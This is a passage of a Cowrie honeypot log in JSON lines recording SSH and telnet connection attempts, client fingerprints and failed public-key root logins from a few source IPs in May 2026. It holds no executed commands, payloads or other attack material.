14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:53.613123Z","src_ip":"89.45.12.110","session":"71a1b32045d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:97:c1:1a:7b:b2:86:a6:ee:1b:05:e9:c5:fa:20:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDdUaA1Y6vb1JyJGEspYEpglhoUQAdbu//US/hMHR9jtfNzV9KUWkddyWYArr3YhNp7pO4x2vmL9CCRkLreDWXWmUIMZtoSHPEw6Z6LTtEJByFnEE3Z4pTFWp/dzHJAwuQk/0ishmObWMlymS1k7HMPgQTRUFKPCaewCbIMopjMm6QgI7Ql8+zEBy6vwWhGpOWJa//M5QKFnLbJGgHvtoFGoUSygH8G0wkO+BpcAvcwpFEA++qTShgKCoMTxrCgkibqTy/CGDZG6eLYFcKQmmFXLu2iv9qjchc1dENQ2eNtTxkOSIEiT2MS1NmpxaFDg+wiXru7VlEbNZXYzIfqe+F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:97:c1:1a:7b:b2:86:a6:ee:1b:05:e9:c5:fa:20:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:54.196723Z","src_ip":"89.45.12.110","session":"71a1b32045d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:97:c1:1a:7b:b2:86:a6:ee:1b:05:e9:c5:fa:20:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDdUaA1Y6vb1JyJGEspYEpglhoUQAdbu//US/hMHR9jtfNzV9KUWkddyWYArr3YhNp7pO4x2vmL9CCRkLreDWXWmUIMZtoSHPEw6Z6LTtEJByFnEE3Z4pTFWp/dzHJAwuQk/0ishmObWMlymS1k7HMPgQTRUFKPCaewCbIMopjMm6QgI7Ql8+zEBy6vwWhGpOWJa//M5QKFnLbJGgHvtoFGoUSygH8G0wkO+BpcAvcwpFEA++qTShgKCoMTxrCgkibqTy/CGDZG6eLYFcKQmmFXLu2iv9qjchc1dENQ2eNtTxkOSIEiT2MS1NmpxaFDg+wiXru7VlEbNZXYzIfqe+F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:54.200326Z","src_ip":"89.45.12.110","session":"71a1b32045d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:27:e1:ed:b2:59:24:bd:c2:a5:74:b7:a7:db:73:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7y6EleAaNFVvvKstXD+CKbJQ6wWzCvnsNbH3jhigWnajs6x6qfeOs8JWfKWbYo7LS286QKCzaZQ3hbwwtst0LsTYjF9ny97eCO/LbWTTz0gYWLqcIvh8YvhYXzelB+8aUxzj+QiTufBEbXf8dkEdzuF33rbkSDNgBeepqPPFn+WuI5f8iZkBoMG/6lt+625dyy1CpbyGLQQlpacrgsnL1yuS24KeRfy5F45C3yw5YT2i7YZDnK1SnGyup3UiDecVP2dC4JQgUsOqoaPPnf8Mdx+dKiIwYEncvPd16Bw04BLgnynbF9l1tsLoi1Vkwg8WWNg9UyweUZDETd7yo22mb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:27:e1:ed:b2:59:24:bd:c2:a5:74:b7:a7:db:73:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:54.324520Z","src_ip":"89.45.12.110","session":"71a1b32045d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:27:e1:ed:b2:59:24:bd:c2:a5:74:b7:a7:db:73:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7y6EleAaNFVvvKstXD+CKbJQ6wWzCvnsNbH3jhigWnajs6x6qfeOs8JWfKWbYo7LS286QKCzaZQ3hbwwtst0LsTYjF9ny97eCO/LbWTTz0gYWLqcIvh8YvhYXzelB+8aUxzj+QiTufBEbXf8dkEdzuF33rbkSDNgBeepqPPFn+WuI5f8iZkBoMG/6lt+625dyy1CpbyGLQQlpacrgsnL1yuS24KeRfy5F45C3yw5YT2i7YZDnK1SnGyup3UiDecVP2dC4JQgUsOqoaPPnf8Mdx+dKiIwYEncvPd16Bw04BLgnynbF9l1tsLoi1Vkwg8WWNg9UyweUZDETd7yo22mb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:54.328049Z","src_ip":"89.45.12.110","session":"71a1b32045d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:f0:02:0b:18:56:1d:2b:94:13:75:99:b2:b6:87:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMadqzhvUgNFyUeVjR/WhyDjEHq3nrlev2s3sJXmHiO3bQFmzzNll8VeCTwVLe83LzLApijGqXubsTuoWJuRJeRvRD3aifp5oBYX6qH3CKcKhqzX4wX7/QgK9EznRNs1YAYBaoZf2oSeLlRISeEfG1r65EOGPJ/ooaoE5/00ODUWD14y9vo1r1nvWd73vPOTWY41CNvjUsFSd9ATTQlx0ZHevwmQLmN70WjOyiBE5I+JrefLXKOPSwGfRSs7jadpb95LHuJ8qSi/wFiDI3FfAJpY69cbdIF+sYOcyfm40x95fJq+GhZhnQVcKMLL4+Mz8q0m8Z10MCDtipB4kWTyHR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:f0:02:0b:18:56:1d:2b:94:13:75:99:b2:b6:87:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:54.449631Z","src_ip":"89.45.12.110","session":"71a1b32045d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:f0:02:0b:18:56:1d:2b:94:13:75:99:b2:b6:87:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMadqzhvUgNFyUeVjR/WhyDjEHq3nrlev2s3sJXmHiO3bQFmzzNll8VeCTwVLe83LzLApijGqXubsTuoWJuRJeRvRD3aifp5oBYX6qH3CKcKhqzX4wX7/QgK9EznRNs1YAYBaoZf2oSeLlRISeEfG1r65EOGPJ/ooaoE5/00ODUWD14y9vo1r1nvWd73vPOTWY41CNvjUsFSd9ATTQlx0ZHevwmQLmN70WjOyiBE5I+JrefLXKOPSwGfRSs7jadpb95LHuJ8qSi/wFiDI3FfAJpY69cbdIF+sYOcyfm40x95fJq+GhZhnQVcKMLL4+Mz8q0m8Z10MCDtipB4kWTyHR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:54.453452Z","src_ip":"89.45.12.110","session":"71a1b32045d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:31:a8:c0:20:79:33:6f:71:50:4f:43:32:69:74:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwVPCBwOfR6CAgboN9M81w5AhooW8g7/H91RYHt/lmKgxYY3Q9KplCxtC+FMp3/pnAwtgTrsbjTubnwiYzGXNIBetCRnc+M6yOr2G5eeyzB4gfc4bedSZGKAsgt+w9umI/DFpLFBBfmlUyhyYjMUfd5nh0KvUziiETufr5FVKY67vWYkpmKyfk5qppJI6+cWapgRAkwj15r8olyaFbNyQKp2AUUc+w6dbozZXnoM/lCTZgj0+Hz2dDnsQQMxo48cMULdouf35M+pGbkKFLakXIQ5TvTXceybA9o6Y4uiK5xZHgSlY8wpmrrDyGa+gxGb6HmIcjmHr4+xmf7Nk9cKw9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:31:a8:c0:20:79:33:6f:71:50:4f:43:32:69:74:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:54.576917Z","src_ip":"89.45.12.110","session":"71a1b32045d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:31:a8:c0:20:79:33:6f:71:50:4f:43:32:69:74:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwVPCBwOfR6CAgboN9M81w5AhooW8g7/H91RYHt/lmKgxYY3Q9KplCxtC+FMp3/pnAwtgTrsbjTubnwiYzGXNIBetCRnc+M6yOr2G5eeyzB4gfc4bedSZGKAsgt+w9umI/DFpLFBBfmlUyhyYjMUfd5nh0KvUziiETufr5FVKY67vWYkpmKyfk5qppJI6+cWapgRAkwj15r8olyaFbNyQKp2AUUc+w6dbozZXnoM/lCTZgj0+Hz2dDnsQQMxo48cMULdouf35M+pGbkKFLakXIQ5TvTXceybA9o6Y4uiK5xZHgSlY8wpmrrDyGa+gxGb6HmIcjmHr4+xmf7Nk9cKw9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:54.582186Z","src_ip":"89.45.12.110","session":"71a1b32045d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:76:78:bf:65:69:c7:32:8b:f0:bb:60:c4:7a:00:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiFkNLfg9uOyHl9o5ta9xpwvWvL2I+trlU/QFKYpagQp690R0Ciem449AjXKtpm42Wl96HSufo4YnYN2xE/+qEANvP2+c9IpWPYC0pyPLvXWL+pfWhjRmlsPBpb9A3ADIw2K1uMMlpM3ZpNijQibgPgA9FOuVqtQTdRfEF4qHc07JzMy3nZH7tNuQQjLDb+3hFsn7x3zf39FTW8L3DC8ZWR3ecRY+0h7XlkCiRMVmUQxskKqx1W6e2VBbZr/PNCPSVYN8RF+3jzQzSe0nLteFfTSPm9mfeMR9Jt6sMMsmjoaGcDk7lEYCowtoR5KAoyLgMGUd4Avh1hmaljbqn+Vf5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:76:78:bf:65:69:c7:32:8b:f0:bb:60:c4:7a:00:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:54.706667Z","src_ip":"89.45.12.110","session":"71a1b32045d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:76:78:bf:65:69:c7:32:8b:f0:bb:60:c4:7a:00:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiFkNLfg9uOyHl9o5ta9xpwvWvL2I+trlU/QFKYpagQp690R0Ciem449AjXKtpm42Wl96HSufo4YnYN2xE/+qEANvP2+c9IpWPYC0pyPLvXWL+pfWhjRmlsPBpb9A3ADIw2K1uMMlpM3ZpNijQibgPgA9FOuVqtQTdRfEF4qHc07JzMy3nZH7tNuQQjLDb+3hFsn7x3zf39FTW8L3DC8ZWR3ecRY+0h7XlkCiRMVmUQxskKqx1W6e2VBbZr/PNCPSVYN8RF+3jzQzSe0nLteFfTSPm9mfeMR9Jt6sMMsmjoaGcDk7lEYCowtoR5KAoyLgMGUd4Avh1hmaljbqn+Vf5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:54.711151Z","src_ip":"89.45.12.110","session":"71a1b32045d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:54.836565Z","src_ip":"89.45.12.110","session":"71a1b32045d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":42260,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dde0b590afc","protocol":"telnet","message":"New connection: 212.55.149.117:42260 (10.17.0.5:23) [session: 7dde0b590afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:40:41.242005Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53370,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ecf197fad91","protocol":"ssh","message":"New connection: 193.32.162.145:53370 (10.17.0.5:22) [session: 0ecf197fad91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:41:25.130259Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:41:25.234623Z","src_ip":"193.32.162.145","session":"0ecf197fad91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.31079173088074,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:41:41.552665Z","src_ip":"212.55.149.117","session":"7dde0b590afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.110","src_port":27996,"dst_ip":"10.17.0.5","dst_port":22,"session":"c21f8a6894c7","protocol":"ssh","message":"New connection: 89.45.12.110:27996 (10.17.0.5:22) [session: c21f8a6894c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:23.829072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:23.836981Z","src_ip":"89.45.12.110","session":"c21f8a6894c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:23.960862Z","src_ip":"89.45.12.110","session":"c21f8a6894c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:65:31:46:d2:48:16:e9:47:05:16:cc:d7:3a:9a:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGwk7+4ipJR+WrlpRWsMQMJEYQmRHOqov5QuAQytTrzfjRCxLPjeeN+MGmQ0KU9KxC+0xlEFCU155iKq1LAZMA/f+DVWql0uknjMDoh+QGZ57Za0ZWtJXu5RMIj5p0ylVSkPsWNLLhfvnOeSzTfE9acjveOqH4x8ZcpZGXFWNbR12y85vltssQJ4LsSNKu8zd1kOUs+kjHvx1FAZbmEqlZhqSjlBZZ1nFWXlu2eSaNObenOCWBkmnH+MnOqpI8kAFktpYJUZuw+q3/XOhvzLFIzN/ibWxx8FerNx4oH56iaM2i5rQ9zziG+CvUxdnNTJ/2KXLUBVU9m7MDvbwM4bAF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:65:31:46:d2:48:16:e9:47:05:16:cc:d7:3a:9a:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:24.541154Z","src_ip":"89.45.12.110","session":"c21f8a6894c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:65:31:46:d2:48:16:e9:47:05:16:cc:d7:3a:9a:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGwk7+4ipJR+WrlpRWsMQMJEYQmRHOqov5QuAQytTrzfjRCxLPjeeN+MGmQ0KU9KxC+0xlEFCU155iKq1LAZMA/f+DVWql0uknjMDoh+QGZ57Za0ZWtJXu5RMIj5p0ylVSkPsWNLLhfvnOeSzTfE9acjveOqH4x8ZcpZGXFWNbR12y85vltssQJ4LsSNKu8zd1kOUs+kjHvx1FAZbmEqlZhqSjlBZZ1nFWXlu2eSaNObenOCWBkmnH+MnOqpI8kAFktpYJUZuw+q3/XOhvzLFIzN/ibWxx8FerNx4oH56iaM2i5rQ9zziG+CvUxdnNTJ/2KXLUBVU9m7MDvbwM4bAF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:24.545980Z","src_ip":"89.45.12.110","session":"c21f8a6894c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:1d:36:f2:92:34:d6:ab:29:22:e4:fc:78:ee:ef:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8Ub8Ddg8BNl07IsL+wQUXsPXM9fCIP9OjicpDnwoypkLBVK97VoervTRSIzeE7siwRPsgKanoPDaQdDnPv7HTDhBOYYktePSPQhQhUuixUMGt4m65E4Z+TXDkB65IVLc4guF2gcvj4/zzD/42dPrqJaZOsaNL4paC6KD/6vVBgKVASLQkFQeEFprt16tOgl/eLHotaA4N6+yjsGkyNrZ9bDX+RaeGr9BX8AJrDQiutueJTnVRL2y3fENuWO041sK9ItnzMmQhy7XPh0pnbcLmzYdeSnX6jFwnIJAacPoEenLaxB0ThJ5VQy9KBCqL61xgaoJe1GcCzlqa8SPaVqbTPbkxq77wusWNDnWzzW9yCrFOdvEFX2hDfCyKHZnNMIy93ypAq0dN9P1qVkgW9NAlRTUFYimGDkqsVubc2t4Zk0hrvU0yzgRhmKKtM8oW0FaZ+Af/4itD4dK0RR3nN+h5wtTQOAmoiFm/8ke8/Uorilzz7ASY1cRKIgqJNOwDcKFXee14xpTYk0I5IJK4Mr0wKpa/N42eZqAQeM2CP4/jaU9ZKw/NrK8KLDndOTmctiK9hgSUTBwR7eNHJ0qEzqNvNHLkcCKEe9sumuO2PacTaskRKyaP2IJlV4lsjkN9qgdrvhFPE8zARPr3uUt+//+HjY3pxzVg+KSOAsDw/o/c7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:1d:36:f2:92:34:d6:ab:29:22:e4:fc:78:ee:ef:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:24.672002Z","src_ip":"89.45.12.110","session":"c21f8a6894c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:1d:36:f2:92:34:d6:ab:29:22:e4:fc:78:ee:ef:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8Ub8Ddg8BNl07IsL+wQUXsPXM9fCIP9OjicpDnwoypkLBVK97VoervTRSIzeE7siwRPsgKanoPDaQdDnPv7HTDhBOYYktePSPQhQhUuixUMGt4m65E4Z+TXDkB65IVLc4guF2gcvj4/zzD/42dPrqJaZOsaNL4paC6KD/6vVBgKVASLQkFQeEFprt16tOgl/eLHotaA4N6+yjsGkyNrZ9bDX+RaeGr9BX8AJrDQiutueJTnVRL2y3fENuWO041sK9ItnzMmQhy7XPh0pnbcLmzYdeSnX6jFwnIJAacPoEenLaxB0ThJ5VQy9KBCqL61xgaoJe1GcCzlqa8SPaVqbTPbkxq77wusWNDnWzzW9yCrFOdvEFX2hDfCyKHZnNMIy93ypAq0dN9P1qVkgW9NAlRTUFYimGDkqsVubc2t4Zk0hrvU0yzgRhmKKtM8oW0FaZ+Af/4itD4dK0RR3nN+h5wtTQOAmoiFm/8ke8/Uorilzz7ASY1cRKIgqJNOwDcKFXee14xpTYk0I5IJK4Mr0wKpa/N42eZqAQeM2CP4/jaU9ZKw/NrK8KLDndOTmctiK9hgSUTBwR7eNHJ0qEzqNvNHLkcCKEe9sumuO2PacTaskRKyaP2IJlV4lsjkN9qgdrvhFPE8zARPr3uUt+//+HjY3pxzVg+KSOAsDw/o/c7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:24.676809Z","src_ip":"89.45.12.110","session":"c21f8a6894c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:a4:76:6c:e0:8c:28:d2:4f:4b:95:ff:1d:16:f1:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8weOrOA26TmetH4TYKaKj1vm28J5xwR+4cVzWboi9KLJtpXbHCwnXftUVqB1MmJ4/EET0hffm/OhLATEEdv7hosDcX1eb+XReQHS7Fo4nLOiU1FbOHWaVLy4qdL1E3SzDeyglpHKP8jZqK9mDGekcSjFDvxtehxAkkqwH3LiSBLunW5F3MIwhxJr1/4CA6ftSVrdPpg4wU5V2oRLtXa5R5fKXwBpz46n+iNG44VBrYxwlVUhC1xJ2Z2VD3TIxnPzlLWhnwM6XBxw2b5sb36RG8cfRO7FRRv0NP3tI5V4tTDuamdK9f7mW8nWjty+kesUV9BlqafuHlewq1k9avDnx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:a4:76:6c:e0:8c:28:d2:4f:4b:95:ff:1d:16:f1:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:24.800025Z","src_ip":"89.45.12.110","session":"c21f8a6894c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:a4:76:6c:e0:8c:28:d2:4f:4b:95:ff:1d:16:f1:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8weOrOA26TmetH4TYKaKj1vm28J5xwR+4cVzWboi9KLJtpXbHCwnXftUVqB1MmJ4/EET0hffm/OhLATEEdv7hosDcX1eb+XReQHS7Fo4nLOiU1FbOHWaVLy4qdL1E3SzDeyglpHKP8jZqK9mDGekcSjFDvxtehxAkkqwH3LiSBLunW5F3MIwhxJr1/4CA6ftSVrdPpg4wU5V2oRLtXa5R5fKXwBpz46n+iNG44VBrYxwlVUhC1xJ2Z2VD3TIxnPzlLWhnwM6XBxw2b5sb36RG8cfRO7FRRv0NP3tI5V4tTDuamdK9f7mW8nWjty+kesUV9BlqafuHlewq1k9avDnx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:24.805724Z","src_ip":"89.45.12.110","session":"c21f8a6894c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:68:c5:e0:9a:28:8a:fb:1a:23:20:07:0c:c0:79:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+e9yHN1PDRLsayP0Le+3Mc6jcIBc7rFaDSTJ8J1nXOR7dsP5/tJTIYz1E7Ez6q4/0NVo7CAzpx5H6fy0nurhyRq8g+hxBXlZ5EnUya8g47FnLmc+KPcLXF3uaofyOiqnlp/DiUEXVA/nyoNZe+EzsRlYe06ZBBhhagzZkLGz6A6nut2jXTmLk9y790zEyeYfa1txrxFFrvpQtnMeHAuZGcp1pffG7KTOrmH1YGELQ2K+8hrG5A4YkT7WkZWm/DeoWlvsuGqIprNuHHqh6wu/kNTUoChEJlQ2Vgk6U82AQBFYNipSYoFBcq60L7yEEm82dnM546U4uZ/pZXLEHZ7ywyhKWXMOTNQklqXiZUy1SZpfKmYbydTRhgoz2C2rrx2opM436giLaxhqN/xHeHDUcMAhgXiqpw+Y14Bwbu9MfpcEt/VfXAmbAFiPndiAwqq+W9BOZjvS+6IYOnZpTKVPF5HrmF+gmq3SKl77yKOhBQdJhPt/0na9bQT88b6OxFrkilV2ZrdHfnbHvPaCNxMC6qEzqmkanbLo0jAfrwc7DfTc07WLaRmrr9m6+PkCbmlHHSz3zxqNQEUi+NfAFBbjvEyAI8C1aDwBDaMOkFkc+1/Y4URjUj+9SJBCMv3vZ07p+P3AwZwqkKSK4/buvRdv0pOiL3Y/qtSDBFolIPfTOvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:68:c5:e0:9a:28:8a:fb:1a:23:20:07:0c:c0:79:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:24.931996Z","src_ip":"89.45.12.110","session":"c21f8a6894c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:68:c5:e0:9a:28:8a:fb:1a:23:20:07:0c:c0:79:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+e9yHN1PDRLsayP0Le+3Mc6jcIBc7rFaDSTJ8J1nXOR7dsP5/tJTIYz1E7Ez6q4/0NVo7CAzpx5H6fy0nurhyRq8g+hxBXlZ5EnUya8g47FnLmc+KPcLXF3uaofyOiqnlp/DiUEXVA/nyoNZe+EzsRlYe06ZBBhhagzZkLGz6A6nut2jXTmLk9y790zEyeYfa1txrxFFrvpQtnMeHAuZGcp1pffG7KTOrmH1YGELQ2K+8hrG5A4YkT7WkZWm/DeoWlvsuGqIprNuHHqh6wu/kNTUoChEJlQ2Vgk6U82AQBFYNipSYoFBcq60L7yEEm82dnM546U4uZ/pZXLEHZ7ywyhKWXMOTNQklqXiZUy1SZpfKmYbydTRhgoz2C2rrx2opM436giLaxhqN/xHeHDUcMAhgXiqpw+Y14Bwbu9MfpcEt/VfXAmbAFiPndiAwqq+W9BOZjvS+6IYOnZpTKVPF5HrmF+gmq3SKl77yKOhBQdJhPt/0na9bQT88b6OxFrkilV2ZrdHfnbHvPaCNxMC6qEzqmkanbLo0jAfrwc7DfTc07WLaRmrr9m6+PkCbmlHHSz3zxqNQEUi+NfAFBbjvEyAI8C1aDwBDaMOkFkc+1/Y4URjUj+9SJBCMv3vZ07p+P3AwZwqkKSK4/buvRdv0pOiL3Y/qtSDBFolIPfTOvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:24.936697Z","src_ip":"89.45.12.110","session":"c21f8a6894c7","protocol":"ssh"}
